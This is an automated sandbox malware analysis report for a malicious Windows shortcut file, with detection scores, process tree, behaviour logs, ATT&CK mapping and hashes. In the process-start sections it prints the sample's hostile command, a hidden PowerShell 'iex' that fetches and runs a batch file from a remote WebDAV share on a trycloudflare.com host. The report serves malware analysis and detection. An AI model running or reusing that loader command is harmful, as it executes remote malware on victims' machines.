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Windows Analysis Report
oSx8Pp4G8j.lnk

Overview

General Information

Sample name:oSx8Pp4G8j.lnk
renamed because original name is a hash value
Original sample name:e82d79751feb31a088cbd81afaa851541e00f1505a8c2677cf959a0ace4b544d.lnk
Analysis ID:1554982
MD5:872f688fe8f9a4d96e33e891a60651a9
SHA1:8139d3786c4dd94103be12a563344799663c1ee7
SHA256:e82d79751feb31a088cbd81afaa851541e00f1505a8c2677cf959a0ace4b544d
Tags:kendychop-shoplnkuser-JAMESWT_MHT
Infos:

Detection

Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Machine Learning detection for sample
Opens network shares
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Suricata IDS alerts with low severity for network traffic

Classification

  • System is w10x64
  • powershell.exe (PID: 7716 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup
No configs have been found
No yara matches
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'", ProcessId: 7716, ProcessName: powershell.exe
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-13T09:43:20.868705+010020229301A Network Trojan was detected172.202.163.200443192.168.2.1049775TCP
2024-11-13T09:43:59.497271+010020229301A Network Trojan was detected172.202.163.200443192.168.2.1049974TCP

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: oSx8Pp4G8j.lnkReversingLabs: Detection: 18%
Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.6% probability
Source: oSx8Pp4G8j.lnkJoe Sandbox ML: detected
Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.10:49775
Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.10:49974
Source: classification engineClassification label: mal68.spyw.winLNK@2/5@0/0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qc2td5lc.pgq.ps1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
Source: oSx8Pp4G8j.lnkReversingLabs: Detection: 18%
Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior

Persistence and Installation Behavior

barindex
Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4831Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3887Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872Thread sleep time: -5534023222112862s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior

Stealing of Sensitive Information

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRootJump to behavior
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
DLL Side-Loading
1
Process Injection
21
Virtualization/Sandbox Evasion
OS Credential Dumping1
Network Share Discovery
Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading
1
Process Injection
LSASS Memory11
Process Discovery
Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
DLL Side-Loading
Security Account Manager21
Virtualization/Sandbox Evasion
SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDS1
Application Window Discovery
Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
File and Directory Discovery
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials11
System Information Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
oSx8Pp4G8j.lnk18%ReversingLabsShortcut.Trojan.Boxter
oSx8Pp4G8j.lnk100%Joe Sandbox ML
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
No contacted IP infos
Joe Sandbox version:41.0.0 Charoite
Analysis ID:1554982
Start date and time:2024-11-13 09:42:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 2m 47s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:default.jbs
Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:6
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • HCA enabled
  • EGA enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Sample name:oSx8Pp4G8j.lnk
renamed because original name is a hash value
Original Sample Name:e82d79751feb31a088cbd81afaa851541e00f1505a8c2677cf959a0ace4b544d.lnk
Detection:MAL
Classification:mal68.spyw.winLNK@2/5@0/0
EGA Information:Failed
HCA Information:
  • Successful, ratio: 100%
  • Number of executed functions: 0
  • Number of non-executed functions: 0
Cookbook Comments:
  • Found application associated with file extension: .lnk
  • Stop behavior analysis, all processes terminated
  • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
  • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
  • Not all processes where analyzed, report is missing behavior information
  • VT rate limit hit for: oSx8Pp4G8j.lnk
TimeTypeDescription
03:43:14API Interceptor6x Sleep call for process: powershell.exe modified
No context
No context
No context
No context
No context
Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:data
Category:dropped
Size (bytes):64
Entropy (8bit):1.1628158735648508
Encrypted:false
SSDEEP:3:Nlllul5mxllp:NllU4x/
MD5:3A925CB766CE4286E251C26E90B55CE8
SHA1:3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:false
Reputation:moderate, very likely benign file
Preview:@...e................................................@..........
Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:ASCII text, with no line terminators
Category:dropped
Size (bytes):60
Entropy (8bit):4.038920595031593
Encrypted:false
SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:false
Reputation:high, very likely benign file
Preview:# PowerShell test file to determine AppLocker lockdown mode
Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:ASCII text, with no line terminators
Category:dropped
Size (bytes):60
Entropy (8bit):4.038920595031593
Encrypted:false
SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:false
Reputation:high, very likely benign file
Preview:# PowerShell test file to determine AppLocker lockdown mode
Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:data
Category:dropped
Size (bytes):4599
Entropy (8bit):3.7672290797401233
Encrypted:false
SSDEEP:48:jkA79tgPyy1XlLPSogZoAvyy1XlGPSogZo01:gA6f1XsHNf1X3H3
MD5:46EF73DED149F47C841B156F488DB560
SHA1:B46FAC452047249F55C1B23ADCEAF95B13A4FC52
SHA-256:E2C22CFC6B112EC75F203C93398A3C6F653AD2B29BCBFA34EE9EACB1F7F1EADE
SHA-512:807BF49AA3E8819002CA1D0E728D96EBC8E532AE482AAD8E22B1DC8179A60DEFB9967812AF8AA82E0FB9CB4E0884CAB624E5287CE8FA7C1A00DF19DF6D4968CC
Malicious:false
Reputation:low
